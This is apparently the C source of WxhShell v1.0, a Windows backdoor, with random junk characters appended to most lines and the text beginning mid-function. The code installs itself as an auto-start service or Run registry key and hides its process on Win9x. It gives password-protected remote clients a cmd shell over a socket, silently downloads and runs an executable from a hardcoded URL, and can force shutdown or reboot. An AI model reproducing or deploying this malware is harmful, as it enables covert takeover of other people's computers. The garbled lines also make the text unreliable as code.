    closesocket(wsh); DdJ>1504  
    ExitThread(0); Wm!lWQu7  
    } ocOzQ13@Y  
    break; }+";W)R  
    } /cM<  
  // 关机 S?_/Po|  
  case 'd': { *[K\_F?^h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ct2m l  
    if(Boot(SHUTDOWN)) IO3`/R-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?\[2Po]n  
    else { #'m&<g,  
    closesocket(wsh); } m5AO4:  
    ExitThread(0); v%N/mL+5L  
    } aD)XxXwozm  
    break; lYEMrr!KQw  
    } $h"Ht2/ J  
  // 获取shell 1|/P[!u  
  case 's': { W3K&C[f  
    CmdShell(wsh); aBv3vSq> Q  
    closesocket(wsh); "BSSA%u?c  
    ExitThread(0); 4pNIsjl}  
    break; 1UG5Q-  
  } p4mlS  
  // 退出 J?4aSssE  
  case 'x': { {KkP"j'7h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V}<Hx3!  
    CloseIt(wsh); P>q"P1&{  
    break; `\!oY;jk  
    } R&Mv|R   
  // 离开 #lDf8G|ST~  
  case 'q': { Z +%Uwj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \z'A6@  
    closesocket(wsh); []B9Me  
    WSACleanup(); 1HOYp*{#wP  
    exit(1); R1$O)A}k  
    break; ;e~Z:;AR  
        } VK)1/b=yT  
  } UykOQ-2-n  
  } 2ZHeOKJ-  
3u]#Ra~5  
  // 提示信息 \Y;LbB8D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s>y=-7:N  
} AL*P 2\8  
  } %J)n#\  
kT|{5Kn&s  
  return; x0aPY;,N0  
} =~;SUO  
R1.No_`PHq  
// shell模块句柄 8z,i/:  
int CmdShell(SOCKET sock) :5 XNV6^|  
{ v4_p3&aj  
STARTUPINFO si; NR3]MGBKv  
ZeroMemory(&si,sizeof(si)); eteq Mg}M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vf?+->-?{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cspO5S>#  
PROCESS_INFORMATION ProcessInfo; 8I=n9Uyz  
char cmdline[]="cmd"; g )H>Uu5@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q.SLiI  
  return 0; 8j~:p!@  
} +)8,$1[p|  
jY^wqQls  
// 自身启动模式 |0!oSNJ  
int StartFromService(void) 7)Zk:53]  
{ ^(,qkq'u D  
typedef struct ;uw`6 KJ  
{ wk @-O}W  
  DWORD ExitStatus; ~~J xw ]  
  DWORD PebBaseAddress; M#v#3:&5  
  DWORD AffinityMask; gcLwQ-  
  DWORD BasePriority; MDETAd  
  ULONG UniqueProcessId; \ ) H}  
  ULONG InheritedFromUniqueProcessId; NpS*]vSO  
}   PROCESS_BASIC_INFORMATION; V?KACYd@O  
t{)Z$ )'  
PROCNTQSIP NtQueryInformationProcess; 9rhIDA(wc  
N^,@s"g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kz4d"bTb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Be?b| G!M  
{P'TtlEp  
  HANDLE             hProcess; tnx)_f  
  PROCESS_BASIC_INFORMATION pbi; 'k|?M  
v9Kx`{1L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '2`MT-  
  if(NULL == hInst ) return 0; Y6LoPJ  
Bvbv~7g (  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'EsN{.l?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n,KOQI;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bj6-0`  
Ie3 F  
  if (!NtQueryInformationProcess) return 0; H)XHlO^  
#ma#oWqF}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +h!OdWD9  
  if(!hProcess) return 0; jVh I`F{n  
{/f\lS.5g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FmU>q)  
*Q= 3v  
  CloseHandle(hProcess); iTb k]$  
wSrq?U5q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  VlGg?  
if(hProcess==NULL) return 0; zj G>=2  
We^! (G  
HMODULE hMod; dV{N,;z  
char procName[255]; M>Y ge~3  
unsigned long cbNeeded; 1$cX` D`  
D9OI ",h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "wk~[>  
u_0&`zq  
  CloseHandle(hProcess); ppv/ A4Kv  
Fi8'3/q-^  
if(strstr(procName,"services")) return 1; // 以服务启动 `Qzga}`"]  
[Xy^M3  
  return 0; // 注册表启动 Vf Jpiv1  
} -8- BVU  
V wj^h  
// 主模块 Qg dHIMY  
int StartWxhshell(LPSTR lpCmdLine) YHoj^=/b  
{ EH;w <LvT  
  SOCKET wsl; L,I5/K6  
BOOL val=TRUE; -C9 _gZ  
  int port=0; a-I3#3VJ@  
  struct sockaddr_in door; Vq)6+n8o  
{? -@`FR-  
  if(wscfg.ws_autoins) Install(); .SdHFWx  
4AI\'M"d  
port=atoi(lpCmdLine); L\@SX?j  
E1,Sr?'  
if(port<=0) port=wscfg.ws_port; ~=W|I:@  
ym,UJs&  
  WSADATA data; zP\n<L5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; idL6*%M  
~b}@*fq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8FY.u{93  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c*+yJNm3>  
  door.sin_family = AF_INET; }*+?1kv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'BE &lW  
  door.sin_port = htons(port); {Vz.| a[T  
.r~!d|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2{t i])  
closesocket(wsl); U1&pcwP  
return 1; J \iyc,M<M  
} mp2J|!Lx  
-7_`6U2"  
  if(listen(wsl,2) == INVALID_SOCKET) { 2l43/aCq  
closesocket(wsl); UL0%oJ#  
return 1; >UTAk  
} @^Tof5?F?  
  Wxhshell(wsl); l#8SlRji  
  WSACleanup(); 0Xmp)_vba  
!2dA8b  
return 0; a}N m;5K  
k(Z+(Y'{q~  
} /|{Yot e  
*Vk%"rwaG  
// 以NT服务方式启动 yRQR@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PZn[Yb:  
{ r81YL  
DWORD   status = 0; xpo<1Sr>S  
  DWORD   specificError = 0xfffffff; = ;sEi:HC  
(;1FhIi&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :[#g_*G@p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #V4kT*2P)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U1?*vwfKZ  
  serviceStatus.dwWin32ExitCode     = 0; ; z_ZZ(W  
  serviceStatus.dwServiceSpecificExitCode = 0; t#s?:  
  serviceStatus.dwCheckPoint       = 0; Y,O)"6ev  
  serviceStatus.dwWaitHint       = 0; R:+2}kS5e{  
]w!gv /;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,fS}c pV  
  if (hServiceStatusHandle==0) return; @WIcH:_w-  
(eS/Q%ZGK  
status = GetLastError(); KjR^6v  
  if (status!=NO_ERROR) w*.q t<rH)  
{ Yk',a$.S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]"SH pq  
    serviceStatus.dwCheckPoint       = 0; 2ye^mJ17  
    serviceStatus.dwWaitHint       = 0; w3lR8R]  
    serviceStatus.dwWin32ExitCode     = status; 5IeF |#g  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2mS3gk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e %VJ:Dj  
    return; <1tFwC|4BJ  
  } *hI  
A|sTnhp~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i_OoR"J%  
  serviceStatus.dwCheckPoint       = 0; ZM oV!lu  
  serviceStatus.dwWaitHint       = 0; %1Gat6V<'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wN,DTmtD  
} m=&j2~<i  
ODn6%fp%  
// 处理NT服务事件,比如:启动、停止 &Mz3CC6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y7#$:+jQv  
{ zNT~-  
switch(fdwControl) y(&JE^GfX  
{ 2.)@u~^Q  
case SERVICE_CONTROL_STOP: ]PVPt,c  
  serviceStatus.dwWin32ExitCode = 0; k|W=kt$P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'LZF^m _<<  
  serviceStatus.dwCheckPoint   = 0; b#h?O}  
  serviceStatus.dwWaitHint     = 0; Uq/#\7/rL  
  { Ui6f>0?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (uG.s%I  
  } QF/A-[V  
  return; 3nt&Sf  
case SERVICE_CONTROL_PAUSE: =PXQ X(_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n`";ctQT  
  break; fsa  
case SERVICE_CONTROL_CONTINUE: #~um F%#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ND[u$N+5x"  
  break; |He,v/r  
case SERVICE_CONTROL_INTERROGATE: EL+6u>\- k  
  break; %V-\|cw   
}; &.ZW1TxE8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D$g|f[l  
} XHu Y'\;-  
g ]|K@sm  
// 标准应用程序主函数 j""I,$t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )5Yv7x(K  
{ bX#IE[Yp}  
O/\L0\T  
// 获取操作系统版本 TQm x$  
OsIsNt=GetOsVer(); y3T- ^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =jvM$  
/sY(/ J E  
  // 从命令行安装 =T5vu~[J/e  
  if(strpbrk(lpCmdLine,"iI")) Install(); xz#;F ,`ZR  
#*uSYGdc  
  // 下载执行文件 LO@.aJpp  
if(wscfg.ws_downexe) { %Kd&A*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,]@K6  
  WinExec(wscfg.ws_filenam,SW_HIDE); .$b]rx7$ ~  
} e*_8B2da  
%+oWW5q7  
if(!OsIsNt) { dsP|j (y  
// 如果时win9x,隐藏进程并且设置为注册表启动 xQ4D| &  
HideProc(); g|*2O}<  
StartWxhshell(lpCmdLine); QjETu  
} iMRb` \KH  
else <)y44x|S'  
  if(StartFromService()) (g,lDU[=  
  // 以服务方式启动 q+XL,E  
  StartServiceCtrlDispatcher(DispatchTable); v{Cts3?Br  
else }$u]aX<  
  // 普通方式启动 %C=^ h1t%  
  StartWxhshell(lpCmdLine); "sF&WuW|  
vQ=W<>1   
return 0; vTN/ho,H  
} $|.x!sA  
7"F w8;k  
.{D[!Dp#h  
dDN#>|  
=========================================== +7?p& -r)x  
 mfOr+   
q[{q3-W  
/km^IH  
s~ Wjh7'  
,>CFw-Nxu  
" B]dHMLzl  
\7Hzj0hSi  
#include <stdio.h> ey<u  
#include <string.h> DUf=\p6`f  
#include <windows.h> m`C(y$8fU  
#include <winsock2.h> V x1C4  
#include <winsvc.h> j &)Xi^^  
#include <urlmon.h> :P`sK&b_  
b)@%gS\F  
#pragma comment (lib, "Ws2_32.lib") 3F2> &p|7  
#pragma comment (lib, "urlmon.lib") 7k{Oae\$  
!\Jj}iX3_  
#define MAX_USER   100 // 最大客户端连接数 Et@= <g  
#define BUF_SOCK   200 // sock buffer \{J gjd  
#define KEY_BUFF   255 // 输入 buffer %? +A.0]E  
Z"Z&X0O j  
#define REBOOT     0   // 重启 Nj||^k  
#define SHUTDOWN   1   // 关机 &,+G}  
`*e',j2}UU  
#define DEF_PORT   5000 // 监听端口 5sC{5LJzC  
q /EK ]B  
#define REG_LEN     16   // 注册表键长度 `L`*jA+_  
#define SVC_LEN     80   // NT服务名长度 ghd~p@4  
<lZyUd  
// 从dll定义API AbUPJF"F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >FPE%X0+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #6'oor X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vnuz! 6.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {'Nvs_{6  
`Bx3grZ 7&  
// wxhshell配置信息 QQP bKok>  
struct WSCFG { !%J;dOcU  
  int ws_port;         // 监听端口 SQ5SvYH  
  char ws_passstr[REG_LEN]; // 口令  fI[tU(x  
  int ws_autoins;       // 安装标记, 1=yes 0=no YIb5jK `  
  char ws_regname[REG_LEN]; // 注册表键名 *%(8z~(\  
  char ws_svcname[REG_LEN]; // 服务名 v=nq P{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]]@jvU_?kS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  ])}{GW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9'3%%o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w[\*\'Vm0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wl^bvHG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4XK*sR0-`  
&W fs6g  
}; <&TAN L  
iZ#dS}VlJ  
// default Wxhshell configuration Zoj.F  
struct WSCFG wscfg={DEF_PORT, :gDIGBK,  
    "xuhuanlingzhe", 0trVmWQ8  
    1, *#e%3N05_  
    "Wxhshell", vn3<LQ]  
    "Wxhshell", '#xxjhF^  
            "WxhShell Service", Rct|"k_"Ys  
    "Wrsky Windows CmdShell Service", UBuk-tq  
    "Please Input Your Password: ", ,WA7Kp9  
  1, 1"A1bK  
  "http://www.wrsky.com/wxhshell.exe", 3sc5meSu'  
  "Wxhshell.exe" G40,KCa  
    }; NUiZ!&  
\c>9f"jS_  
// 消息定义模块 eS fT +UL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C$ oY,A,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l_iucN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7^'TU=ss_  
char *msg_ws_ext="\n\rExit."; YQ X+lE  
char *msg_ws_end="\n\rQuit."; 1;3oGuHj8  
char *msg_ws_boot="\n\rReboot..."; A=!&2(  
char *msg_ws_poff="\n\rShutdown..."; "C.'_H!Ex  
char *msg_ws_down="\n\rSave to "; CCfuz&  
z*ZEw  
char *msg_ws_err="\n\rErr!"; 2\l7=9 ]\3  
char *msg_ws_ok="\n\rOK!"; Z"'rc.>a  
[VIdw 92  
char ExeFile[MAX_PATH]; </tiNc  
int nUser = 0; Gnp,~F"  
HANDLE handles[MAX_USER]; TYWajcch  
int OsIsNt; *XS@Ku  
P 482D)  
SERVICE_STATUS       serviceStatus; iN+Dmq5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LP_d}ve  
mfFC@~|g  
// 函数声明 f'F:U^  
int Install(void); \$ ^z.  
int Uninstall(void); xr?=gY3E;  
int DownloadFile(char *sURL, SOCKET wsh); 5 g99t$p9  
int Boot(int flag); UoPd>q4Uj  
void HideProc(void); l>h%J,W  
int GetOsVer(void); ~6.AE/ow  
int Wxhshell(SOCKET wsl); fF[n?:VV  
void TalkWithClient(void *cs); |TF,Aj   
int CmdShell(SOCKET sock); \D?6_ ,O  
int StartFromService(void); f}^}d"&F  
int StartWxhshell(LPSTR lpCmdLine); B<DvH"+$  
l@Ma{*s6=5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &WN4/=QW-J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]8ua>1XS  
j+]>x]c0  
// 数据结构和表定义 _o~<f)E[9  
SERVICE_TABLE_ENTRY DispatchTable[] = <8Nh dCO6  
{ }|H]>U&  
{wscfg.ws_svcname, NTServiceMain}, kNUbH!PO  
{NULL, NULL} "6^tG[G%  
}; ,& =(DJ  
M|?qSFv:  
// 自我安装 (FbqKx'uq  
int Install(void) j/3827jw=  
{ AOWX=`J8V  
  char svExeFile[MAX_PATH]; d~C YZ  
  HKEY key; ZJsc?*@  
  strcpy(svExeFile,ExeFile); 4pV.R5:  
tvP_LNMF  
// 如果是win9x系统,修改注册表设为自启动 f"xi7vJv!f  
if(!OsIsNt) { jIK *psaV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YKf,vHau  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Namw[Tg J  
  RegCloseKey(key); C>$5<bx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8NudY3cU!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ot4HmD  
  RegCloseKey(key); h|yv*1/|  
  return 0; G^p>fy~  
    } qWKpnofa  
  } v~q2D"  
} {,*G }/9<  
else { d{hb gUSj  
D#x D-c  
// 如果是NT以上系统,安装为系统服务 -Vn9YeH+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *PMvA1eN=#  
if (schSCManager!=0) Mr<2I  
{ oaHg6PT!  
  SC_HANDLE schService = CreateService /tc*jXB  
  ( dn$1OhN8M  
  schSCManager, `"H!=`  
  wscfg.ws_svcname, Me yQ`%  
  wscfg.ws_svcdisp, UA>~xJp=  
  SERVICE_ALL_ACCESS, 6/hY[a!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i&-g 0  
  SERVICE_AUTO_START, @}!1Uk3ud  
  SERVICE_ERROR_NORMAL, {#: js  
  svExeFile, upQ:C>S  
  NULL, PH9MB  
  NULL, qCSJ=T;  
  NULL, #R"9(Q&  
  NULL, {\ P$5O{%  
  NULL ?}m/Q"!1  
  ); WfBA5  
  if (schService!=0) apa~Is1  
  { 7S7gU\qOj  
  CloseServiceHandle(schService); LVq3 R 8A  
  CloseServiceHandle(schSCManager); :HYqm*v;W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bWt>tEnf  
  strcat(svExeFile,wscfg.ws_svcname); vI{JBWE,S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _2q4Aaza  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *;Dd:D9  
  RegCloseKey(key); 1s-k=3)  
  return 0; skR/Wf9DH  
    } iUi{)xa2  
  } I$\dT1m$  
  CloseServiceHandle(schSCManager); Ljq/f& c  
} :7D&=n)  
} jRm:9`.Q  
L^KGY<hp4  
return 1; O}MY:6Pe  
} _Hl[Fit<j1  
Y]{<IF:  
// 自我卸载 ^ox^gw)  
int Uninstall(void) q5 I2dNE  
{ x|_%R v  
  HKEY key; Zd1+ZH  
/[VafR!  
if(!OsIsNt) { (BVLlOo?J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M-K<w(,X  
  RegDeleteValue(key,wscfg.ws_regname); \OHsCG27  
  RegCloseKey(key); _J}ce  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $B7<1{<=W  
  RegDeleteValue(key,wscfg.ws_regname); 5UVQ48aT  
  RegCloseKey(key); +[UFf3(ON  
  return 0; oylY1~~}0K  
  } ^uW](2  
} _ YWw7q  
} H?sl_3- #  
else { l\- 1W2  
3uwu}aw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `FH Hh  
if (schSCManager!=0) FviLlly6  
{ VjtI1I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }IC$Du#  
  if (schService!=0) C (vi ns  
  { A-~#ydv  
  if(DeleteService(schService)!=0) { xQ>c.}J/i  
  CloseServiceHandle(schService); iJ~5A'?6  
  CloseServiceHandle(schSCManager); Dn) =V.  
  return 0; TgSU}Mf)a  
  } Ox8dnPcx  
  CloseServiceHandle(schService); W'E!5T^  
  } =5b5d   
  CloseServiceHandle(schSCManager); [z]@ <99/  
} p/:)Z_  
} 6`]R)i]  
/,"Z^=  
return 1; KwN o/x| v  
} p^&' C_?  
Cfyas'  
// 从指定url下载文件 f-y4V}  
int DownloadFile(char *sURL, SOCKET wsh) -OB72!sKU  
{ F 71  
  HRESULT hr; +uM1#-+h  
char seps[]= "/"; tE]g*]o  
char *token; Cnd*%CPZ  
char *file; Z@nM\/vLA  
char myURL[MAX_PATH]; V2ypmkn 8&  
char myFILE[MAX_PATH]; tv+q~TFB=Z  
>@[`,  
strcpy(myURL,sURL); U`,&Q ]  
  token=strtok(myURL,seps); GD}3 r:wDs  
  while(token!=NULL) sRE$*^i  
  { Un]`Gd]:  
    file=token; u'd+:uH  
  token=strtok(NULL,seps); f62z9)`^  
  } W:aAe%S  
lN,b@;  
GetCurrentDirectory(MAX_PATH,myFILE); Y:^~KS=Uz  
strcat(myFILE, "\\"); N:)`+}  
strcat(myFILE, file); ]}<.Y[!S  
  send(wsh,myFILE,strlen(myFILE),0); !w[<?+%%n  
send(wsh,"...",3,0); 0Tp?ED_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G&0&*mp  
  if(hr==S_OK) LXVm0IOFF  
return 0; gT<E4$I69  
else M/5/Tp  
return 1; .bB_f7TH.  
{DI_i +2  
} f?dNTfQ3mi  
D2[wv+#)  
// 系统电源模块 'AF2:T\  
int Boot(int flag) vPR1 TMi>  
{ MfJk`-%~  
  HANDLE hToken; Xf:CGR8_  
  TOKEN_PRIVILEGES tkp; mbsdiab#N  
^v}Z5,aN  
  if(OsIsNt) { Mw?nIIu(@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C0jmjZ%w@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uwj/]#`  
    tkp.PrivilegeCount = 1; wHBkaPO!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a { L`C"rJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  uw LT$  
if(flag==REBOOT) { Y` LZ/Tgk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~{n_rKYV  
  return 0; %+w>`k3(N  
} req=w;E:  
else { :)c >5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YdV5\!  
  return 0; j^1T3 +  
} tRS^|??  
  } Ve2z= 6(  
  else { ,YSQog  
if(flag==REBOOT) {  k1L GT&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }Tu_?b`RUm  
  return 0; n #p6i  
} Gc~A,_(  
else { 9| v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s.6S :  
  return 0; (u]ft]z,-B  
} L:`|lc=^  
} U# -&%|b$  
394u']M  
return 1; A~ '2ki5$g  
} `kwyF27v]  
B+jT|Y'  
// win9x进程隐藏模块 ynw^nmM  
void HideProc(void) E,xCfS)  
{ xii*"n~  
zr&K0a{hc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L-Xd3RCD  
  if ( hKernel != NULL ) Fz?ON1\  
  { Nk3 ]<#$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y">Q16(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Xr :"8FT  
    FreeLibrary(hKernel); N ]}Re$5  
  } X-3L4@T:?  
C]W VH\P p  
return; (*/P~$xIj  
} N,(@k[uta  
vn .wM  
// 获取操作系统版本 !H~!i.m'-  
int GetOsVer(void) u7^Z7; J  
{ (8GJLs 8  
  OSVERSIONINFO winfo; D?}LKs[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;p BXAl  
  GetVersionEx(&winfo); XC?H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h"l{cDk  
  return 1; KofjveOiC  
  else '&?47+W  
  return 0; E-X-LR{CC  
} \Wt&z,  
F` J(+  
// 客户端句柄模块 Kw(/#C:$  
int Wxhshell(SOCKET wsl) S?r:=GS  
{ ]}ff*W  
  SOCKET wsh; b=F"  
  struct sockaddr_in client; L^RyJ;^c  
  DWORD myID; `*KS` z?  
>6 :slNM#  
  while(nUser<MAX_USER) bLCrh(<  
{ &VR<'^>  
  int nSize=sizeof(client); g|"z'_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tOnaD]J  
  if(wsh==INVALID_SOCKET) return 1; VEpIAC4  
a+A/l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bkmX@+Pe  
if(handles[nUser]==0) bp_3ETK]P  
  closesocket(wsh); .NCQiQ  
else aZ5qq+1x  
  nUser++; E Q?4?  
  } 7; T S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mTZlrkT  
6jCg7Su]  
  return 0; sFSrMI#R  
} vIN6W   
DQ9 <N~l  
// 关闭 socket |g8 ]WFc  
void CloseIt(SOCKET wsh) g\rujxHlH  
{ PA`b~Ct  
closesocket(wsh); I #1_  
nUser--; 0Yfk/}5  
ExitThread(0); wLkHU"'   
} m$QFtrvy  
F:hJ^:BP  
// 客户端请求句柄 DMfC(w.d  
void TalkWithClient(void *cs) r\_rnM)_xN  
{ CrS[FM= +W  
1?7QS\`)fB  
  SOCKET wsh=(SOCKET)cs; B^h]6Z/O  
  char pwd[SVC_LEN]; eFsku8$<  
  char cmd[KEY_BUFF]; oWs&W  
char chr[1]; Y8\Ms^rz  
int i,j; \Q^\z   
q?} G?n 4  
  while (nUser < MAX_USER) { SkvKzV.R;  
Cgq9~U !  
if(wscfg.ws_passstr) { qpp:h_E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Y~V!9(~{Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YV! !bI  
  //ZeroMemory(pwd,KEY_BUFF); y"t5%Iv  
      i=0; #n2GW^x  
  while(i<SVC_LEN) { ? 1Z\=s  
tE>3.0U0Q  
  // 设置超时 2q2wo&uK  
  fd_set FdRead; HFo}r~  
  struct timeval TimeOut; [USXNe/  
  FD_ZERO(&FdRead); 8f8+3  
  FD_SET(wsh,&FdRead); /V7u0y  
  TimeOut.tv_sec=8; {7(h%]  
  TimeOut.tv_usec=0; H{yPi7 P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8P5xRUkV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b <=K@I.=  
n[ba  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v^,A~oe`t  
  pwd=chr[0]; 7-^df0  
  if(chr[0]==0xd || chr[0]==0xa) { <408lm  
  pwd=0;  ~ikTo -  
  break; I62Yg p$K  
  } P-+^YN,  
  i++; fK4laDB TO  
    } C$,S#n@  
nr s!e  
  // 如果是非法用户,关闭 socket E62*J$wN@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X 8[T*L.  
} u6(7#n02  
Z>CFH9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =1\ 'xz}p?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;=C^l  
fC~WuG 3  
while(1) { Ir0er~f+z  
Ty@&s 58a  
  ZeroMemory(cmd,KEY_BUFF); :Bn\1\  
D+ jk0*bJ  
      // 自动支持客户端 telnet标准   ?hfos Bn&[  
  j=0; T}u'  
  while(j<KEY_BUFF) { 1$Eiv8xd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l#Qf8*0  
  cmd[j]=chr[0]; }$$b6G  
  if(chr[0]==0xa || chr[0]==0xd) { @B&hR} 4  
  cmd[j]=0; U(J?Q  
  break; y{v*iH<  
  } =#y&xWxL  
  j++; ]}'WNy6c&x  
    } 72v 9S T  
!knYD}Rxd  
  // 下载文件 %>JqwMK  
  if(strstr(cmd,"http://")) { NugJjd56x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `P# h?tZ  
